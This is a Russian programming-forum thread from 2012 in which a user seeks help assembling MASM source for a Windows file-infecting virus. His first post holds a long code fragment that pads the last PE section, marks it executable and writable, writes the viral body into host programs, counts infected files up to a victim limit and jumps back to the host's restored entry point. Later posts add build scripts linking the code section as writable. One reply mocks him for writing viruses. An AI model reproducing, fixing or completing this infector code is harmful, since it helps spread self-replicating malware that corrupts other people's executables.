Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.09.2012, 21:03   #1
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию ассемблирование

Отсылаюсь к предыдущей теме, переписал значительную часать кода, просмотрев документированные API,но никак не могу найти прототипы функций

Цитата:
pallocMen
Цитата:
dwalignedFileSize
Привожу исправленный код:

Код:
  
      ; Выравниваем физический размер секции
_AlgnPhSz:
    mov  ebx, [esi + 3Ch]                         ; esi = VA of PE header
    add  [esi + 10h], dword ptr Virsize      ; Увеличим физический размер секции
    mov  eax, [esi + 3Ch]                         ; Берем выравнивающий фактор
    
                                                  ; FileAlign
    dec  eax
    add  [esi + 10h], eax
    not  eax
    and  [esi + 10h], eax

    ; Выравниваем виртуальный размер
_AlgnVrSz:
    mov   edx, [edi + 0Ch]                       ; Берем виртуальный размер
    jecxz _PtchImSz                              ; Прыгаем, если размер = 0
    add   [edi + 08Ch], dword ptr Virsize         ; Увеличим виртуальный размер секции
    mov   eax, [edi + 38h]                       ; Берем выравнивающий фактор
                                                 ; ObjectAlign
    shl   eax, 1                         
	 
    dec   eax
    add   [edi + 08h], eax
    not   eax
    and   [edi + 08h], eax

     ; Патчим ImageSize = VirtualRVA(Last section) + VirtualSize(Last section)
_PtchImSz:
    mov   eax, [edi + 0Ch]             ; VirtualRVA(Last section)
    add   eax, [edi + 08h]             ; VirtualSize(Last section)
    mov   [edi + 50h], eax

    ; Изменяем флаги, характеризующие секцию
_ObjFlags:
    mov  eax, [esi + 24h]
    .IF !(eax & 00000020h)             ; Секция содержит программный код
        or eax, 00000020h
    .ENDIF
    .IF !(eax & 20000000h)             ; Секция является исполняемой
        or eax, 20000000h
    .ENDIF
    .IF !(eax & 80000000h)             ; Секция может использоваться для 
        or eax, 80000000h
    .ENDIF
    mov  [esi + 24h], eax

    _WriteFile:      
    xor esi, esi
    push esi
    push esi
    push esi
    push hFile
    call SetFilePointer

    xor  esi, esi
    push delta_off
	push esi
    push esp
    push dwAlignedFileSize
    push pAllocMem
    push hFile
    call WriteFile
    test eax, eax             ; Не удалось записать код в программу
    jz   _CloseFile

    ; Инкрементируем счетчик зараженных программ
    lea  esi, infect_count
    add  esi, delta_off
    inc  dword ptr [esi]

_CloseFile:
    push hFile
    call CloseHandle
    push pAllocMem
    call GlobalFree

    ; Освобождаем стек
    pop  eax
    pop  eax
    pop  eax
    pop  eax

    ; Проверим, сколько файлов уже заразили
    lea  esi, infect_count
    add  esi, delta_off
	cmp  dword ptr [esi], MaxVictimNumber    
	jl   _FindNextFileA
    
_Exit:
    push hFind
    call FindClose                 ; Закрываем поиск файлов
    cmp  dword ptr delta_off, 0    ; проверяем поколение
    jz   ExitVirus                 ; поколение первое - завершаемся

    ; ищем начало заражаемого файла по сигнатуре на текущей странице памяти	
    mov eax, OFFSET begin_data
    add eax, delta_off
    xor ax, ax
_SearchMZPE_:
    mov   edi, [eax + 3Ch]
    .IF dword ptr [eax] != 5A4Dh || dword ptr [eax + edi] != 5045h
        sub eax, 10000h
        jmp _SearchMZPE_
    .ENDIF

    ; Вычисляем EntryPoint VA
    mov edi, eax                      ; edi = VA of MZ header
    add edi, dword ptr [edi + 3Ch]    ; edi = VA of PE header
    mov eax, dword ptr [edi + 28h]    ; eax = RVA of EntryPoint
    add eax, dword ptr [edi + 34h]    ; eax = VA of EntryPoint
	
    pusha
    push esp   ; адрес переменной, в нее возвращается "старый" режим доступа
    push 40h   ; режим доступа (нам нужен 40h)
    push 5h    ; размер области памяти в байтах
    push eax   ; адрес области памяти, чьи атрибуты страниц нужно изменить
    call VirtualProtect
    popa

    ; Восстанавливаем 5 байт начала программы-носителя
    mov  ecx, 5h
    lea  esi, save_vir_b
    add  esi, delta_off       ; esi = VA of save_vir_b
    mov  edi, eax             ; edi = VA of EntryPoint
    rep  movsb

    ; Прыгаем на код носителя
    jmp  eax
    
ExitVirus:
    push 0
    call _ExitProcess
    
end start
компилятор выдает ошибки : undefined symbol pallocMen
undefined symbol dwalignedFileSize

Последний раз редактировалось djonatan98; 29.09.2012 в 21:07.
djonatan98 вне форума Ответить с цитированием
Старый 01.10.2012, 10:39   #2
waleri
Старожил
 
Регистрация: 13.07.2012
Сообщений: 6,493
По умолчанию

Цитата:
Сообщение от djonatan98 Посмотреть сообщение
никак не могу найти прототипы функций
И не найдете. Это переменные, причем самой программы. Может уже пора выучить язык а уже потом писать вирусы?
waleri вне форума Ответить с цитированием
Старый 02.10.2012, 14:15   #3
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Цитата:
ТО что переменные я в курсе, но они не дописываются в структуры и в локалки и необъявляются, как секция неинциализируемых данных, все же эти переменные связаны с функциями заимстивования памяти
используеются функциями захвата блоков свободной памяти,
для выделения ресурсов
При компиляции выдается:undefined symbol pallocMen
undefined symbol pallocMen
undefined symbol pallocMen
undefined symbol pallocMen
undefined symbol pallocMen
undefined symbol pallocMen
undefined symbol pallocMen

Последний раз редактировалось djonatan98; 02.10.2012 в 14:23.
djonatan98 вне форума Ответить с цитированием
Старый 02.10.2012, 14:45   #4
DiemonStar
Старожил
 
Регистрация: 08.02.2012
Сообщений: 2,173
По умолчанию

Напомнило сказку: "Пойди туда, не знаю куда и принеси то, не знаю что..." Если бы мне такое посоветовали, то я бы тоже громко матерился)
Правильно поставленная задача - три четверти решения.
DiemonStar вне форума Ответить с цитированием
Старый 02.10.2012, 16:29   #5
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Цитата:
Проассемаблировал!!Всего одна ошибка в коде, причем я его весь переписал,так как в исходнике ошибки при получении фиртуального и физического смещения секций, вычисления прыжка на код вируса и выравнивание границ физической PhysicalSize и фиртиуальной VirtualSize секции.
Также ошибка в коде инфицирования и в записи кода вируса в джамп, пришлось искать документацию по API и дописать структуры.

http://i069.radikal.ru/1210/11/1c3be7c4dc8e.jpg

из-за одной ошибки не удавалорсь объявить секцию неинциализируемых данных, пока полность не исправил код, причем специально ввели ошибки и в код по поиску базы kernel32 и определению секции экспорта

Последний раз редактировалось djonatan98; 02.10.2012 в 16:34.
djonatan98 вне форума Ответить с цитированием
Старый 03.10.2012, 15:18   #6
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Но плохая совместимость с Win7 я проассемблировал исходник этип bat-файлом:

Код:
@echo off
cls
 
SET PATH=C:\Masm32\bin
SET INCLUDE=C:\Masm32\INCLUDE
SET LIB=C:\Masm32\LIB
 
 
REM компилируем исходник
ML /nologo -c -coff %1.asm
if errorlevel 1 goto terminate

LINK /nologo %1.obj /SUBSYSTEM:WINDOWS /STUB:64stub.exe /FILEALIGN:512 /VERSION:4.0 /MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR /ignore:4078 /RELEASE /BASE:0x400000
 
rem LINK32 /nologo %1.obj  /SUBSYSTEM:WINDOWS
if errorLevel 1 goto terminate
 
echo OK
 
:terminate
но в условиипри, при сборке вируса линковщику также нужно указать, что в секцию кода можно писать:

Код:
C:\masm32\bin\ml /nologo /c /coff main.asm
C:\masm32\bin\link /nologo /subsystem:windows /out:bin\main.exe /SECTION:.text,rwe main.obj
компилирую этим bat-файлом:

Код:
@echo off
cls
 
REM ну сюда впишите свои пути
SET PATH=C:\Masm32\bin
SET INCLUDE=C:\Masm32\INCLUDE
SET LIB=C:\Masm32\LIB
 
 
REM компилируем исходник
C:\masm32\bin\ml /nologo /c /coff new.asm
C:\masm32\bin\link /nologo /subsystem:windows /out:bin\new.exe /SECTION:.text,rwe main.obj 

LINK /nologo %1.obj /SUBSYSTEM:WINDOWS /STUB:64stub.exe /FILEALIGN:512 /VERSION:4.0 /MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR /ignore:4078 /RELEASE /BASE:0x400000
 

rem LINK32 /nologo %1.obj  /SUBSYSTEM:WINDOWS
 
if errorLevel 1 goto terminate
 
echo OK
 
:terminate
выдает следующие ошибки - http://s017.radikal.ru/i412/1210/ae/a72b56fd723f.jpg
djonatan98 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Первая программа, ассемблирование. pinkiller Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 0 26.02.2012 14:25
ассемблирование программы Palomnik1096 Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 2 17.05.2011 18:05
Ассемблирование в DEbug amki6 Помощь студентам 0 04.05.2010 21:30
Ассемблирование в защищённном режиме. Doholyan Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 12 26.01.2010 20:55